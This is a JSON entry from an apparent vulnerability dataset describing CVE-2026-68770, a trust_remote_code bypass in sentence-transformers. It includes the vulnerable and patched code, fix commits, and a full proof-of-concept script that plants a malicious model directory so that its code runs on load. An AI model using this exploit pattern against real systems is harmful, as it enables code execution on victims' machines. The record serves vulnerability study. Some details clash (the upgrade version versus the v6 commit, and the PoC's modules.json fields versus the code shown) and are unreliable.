{"id":2193,"cve":"CVE-2026-68770","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-68770\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":9.3,"published":"2026-07-31","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Incorrect Check","category":"Design Defects","subcategory":"Poorly Designed Access Controls","scope":"Local","impact":"Arbitrary Code Execution","summary":"sentence-transformers trust bypass on local path allows code execution.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-68770\/","description":"sentence-transformers contains a security control bypass vulnerability that allows attackers to achieve arbitrary code execution by exploiting a logic flaw in the import_module_class helper within sentence_transformers\/util\/misc.py, where the guard condition includes an 'or os.path.exists(model_name_or_path)' clause that satisfies the trust gate whenever the supplied path exists on the local filesystem, regardless of the trust_remote_code=False argument. Attackers who can control or influence the contents of a model directory on disk can place malicious Python files such as modeling_*.py referenced via modules.json, causing the code to execute at import time when an application loads the model with SentenceTransformer(path, trust_remote_code=False), bypassing the documented security contract and achieving code execution within the loading process.","solution":"Upgrade `sentence-transformers` to version 2.7.0 or later.","affected_component":"sentence_transformers","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport json\nimport importlib\nimport logging\nfrom typing import Type\nfrom torch import nn\n\nlogger = logging.getLogger(__name__)\n\ndef import_module_class(\n    model_name_or_path: str, modules_json_path: str, trust_remote_code: bool = False\n) -> Type[nn.Module]:\n    with open(modules_json_path, \"r\") as f:\n        modules_config = json.load(f)\n\n    # The class of the pooling model, can be a local file or a class from the SentenceTransformer library\n    # VULNERABLE: The 'or os.path.exists' clause bypasses the trust_remote_code check for local paths.\n    if trust_remote_code or os.path.exists(model_name_or_path):\n        module_class = modules_config[\"__model_class\"]\n        if module_class.endswith(\".py\"):\n            module_name = os.path.basename(module_class)[:-3]\n            spec = importlib.util.spec_from_file_location(module_name, module_class)\n            module = importlib.util.module_from_spec(spec)\n            spec.loader.exec_module(module)\n            return getattr(module, modules_config[\"__model_name\"])\n        else:\n            return importlib.import_module(module_class.split(\".\")[0]).__dict__[module_class.split(\".\")[-1]]\n    elif \"__model_class\" in modules_config:\n        logger.warning(\n            \"The model is trying to load custom code, but `trust_remote_code` is not enabled. \"\n            \"Model loading will fail if the code is not part of the library.\"\n        )\n\n    module_class = modules_config.get(\"__model_class\") or \"sentence_transformers.models.\" + modules_config[\"type\"]\n    return importlib.import_module(module_class.split(\".\")[0]).__dict__[module_class.split(\".\")[-1]]\n","patched_code":"import os\nimport json\nimport importlib\nimport logging\nfrom typing import Type\nfrom torch import nn\n\nlogger = logging.getLogger(__name__)\n\ndef import_module_class(\n    model_name_or_path: str, modules_json_path: str, trust_remote_code: bool = False\n) -> Type[nn.Module]:\n    with open(modules_json_path, \"r\") as f:\n        modules_config = json.load(f)\n\n    # The class of the pooling model, can be a local file or a class from the SentenceTransformer library\n    # FIX: Remove the 'os.path.exists' check to ensure trust_remote_code is always respected.\n    if trust_remote_code:\n        module_class = modules_config[\"__model_class\"]\n        if module_class.endswith(\".py\"):\n            module_name = os.path.basename(module_class)[:-3]\n            spec = importlib.util.spec_from_file_location(module_name, module_class)\n            module = importlib.util.module_from_spec(spec)\n            spec.loader.exec_module(module)\n            return getattr(module, modules_config[\"__model_name\"])\n        else:\n            return importlib.import_module(module_class.split(\".\")[0]).__dict__[module_class.split(\".\")[-1]]\n    elif \"__model_class\" in modules_config:\n        logger.warning(\n            \"The model is trying to load custom code, but `trust_remote_code` is not enabled. \"\n            \"Model loading will fail if the code is not part of the library.\"\n        )\n\n    module_class = modules_config.get(\"__model_class\") or \"sentence_transformers.models.\" + modules_config[\"type\"]\n    return importlib.import_module(module_class.split(\".\")[0]).__dict__[module_class.split(\".\")[-1]]\n","payload_needed":true,"payload":"```python\nimport os\nimport sys\nfrom sentence_transformers import SentenceTransformer\n\n# Define the directory for the malicious model\nmodel_path = \".\/malicious-model-directory\"\nos.makedirs(model_path, exist_ok=True)\n\n# Create a modules.json file that points to a custom Python module\n# This file tells SentenceTransformer how to load the model components.\n# We define a component of type `modeling_malicious.MaliciousModel`.\nmodules_json_content = \"\"\"\n[\n    {\n        \"idx\": 0,\n        \"name\": \"0_malicious\",\n        \"type\": \"modeling_malicious.MaliciousModel\",\n        \"path\": \"\"\n    }\n]\n\"\"\"\nwith open(os.path.join(model_path, \"modules.json\"), \"w\") as f:\n    f.write(modules_json_content)\n\n# Create the malicious Python file (modeling_malicious.py)\n# The code at the top level of this file will be executed upon import.\n# This happens when SentenceTransformer tries to load the `MaliciousModel` class.\nmalicious_code_content = f\"\"\"\nimport os\nimport torch.nn as nn\n\n# --- This is the arbitrary code that will be executed ---\nprint(\"!!! PAYLOAD EXECUTED: Arbitrary Code Execution Successful !!!\")\n# As a proof of concept, create a file in the current directory.\nwith open(\"pwned.txt\", \"w\") as f:\n    f.write(\"Exploited by CVE-2026-68770\")\n# --- End of malicious payload ---\n\n# A dummy class is required to prevent the loading process from crashing\n# after the malicious code has already run.\nclass MaliciousModel(nn.Module):\n    def __init__(self):\n        super(MaliciousModel, self).__init__()\n    def forward(self, features):\n        return features\n\"\"\"\nwith open(os.path.join(model_path, \"modeling_malicious.py\"), \"w\") as f:\n    f.write(malicious_code_content)\n\n# This script simulates a victim application loading the model from a local path.\n# The `trust_remote_code=False` argument is bypassed because the path exists locally,\n# triggering the vulnerability.\nprint(f\"[*] Simulating victim: Loading model from '{model_path}' with trust_remote_code=False\")\ntry:\n    # This call triggers the import of modeling_malicious.py, executing the payload.\n    model = SentenceTransformer(model_path, trust_remote_code=False)\n    print(\"[*] Model loading process completed.\")\n    if os.path.exists(\"pwned.txt\"):\n        print(\"[+] SUCCESS: 'pwned.txt' file created. The vulnerability was exploited.\")\n        os.remove(\"pwned.txt\") # Clean up the proof file\n    else:\n        print(\"[-] FAILED: Payload did not execute as expected.\")\nexcept Exception as e:\n    print(f\"[!] An error occurred during model loading: {e}\")\n\n# Clean up the malicious model files\nfinally:\n    os.remove(os.path.join(model_path, \"modules.json\"))\n    os.remove(os.path.join(model_path, \"modeling_malicious.py\"))\n    os.rmdir(model_path)\n    print(\"[*] Cleaned up malicious model files.\")\n\n```","payload_status":"available","published_fix":[{"repository":"huggingface\/sentence-transformers","commit_url":"https:\/\/github.com\/huggingface\/sentence-transformers\/commit\/626eb602b088878a8173bcab69225f68411b99e1","commit_subject":"[`v6`] Require `trust_remote_code=True` for custom module classes, dropping implicit local-directory trust (#3935)","units":[{"file":"sentence_transformers\/base\/model.py","function":null},{"file":"sentence_transformers\/base\/model.py","function":"BaseModel._load_config_modules"},{"file":"sentence_transformers\/base\/model.py","function":"BaseModel._load_module_class_from_ref"},{"file":"sentence_transformers\/base\/modules\/router.py","function":null},{"file":"sentence_transformers\/base\/modules\/router.py","function":"Router.load"},{"file":"sentence_transformers\/base\/trainer.py","function":null},{"file":"sentence_transformers\/base\/trainer.py","function":"BaseTrainer._load_from_checkpoint"},{"file":"sentence_transformers\/util\/misc.py","function":"import_module_class"}]},{"repository":"huggingface\/sentence-transformers","commit_url":"https:\/\/github.com\/huggingface\/sentence-transformers\/commit\/ae1acc3fb2aa2004577b297eb4a915ce7a03316a","commit_subject":"Warn when loading local custom code without trust_remote_code (#3807)","units":[{"file":"sentence_transformers\/util\/misc.py","function":"import_module_class"}]}],"references":null}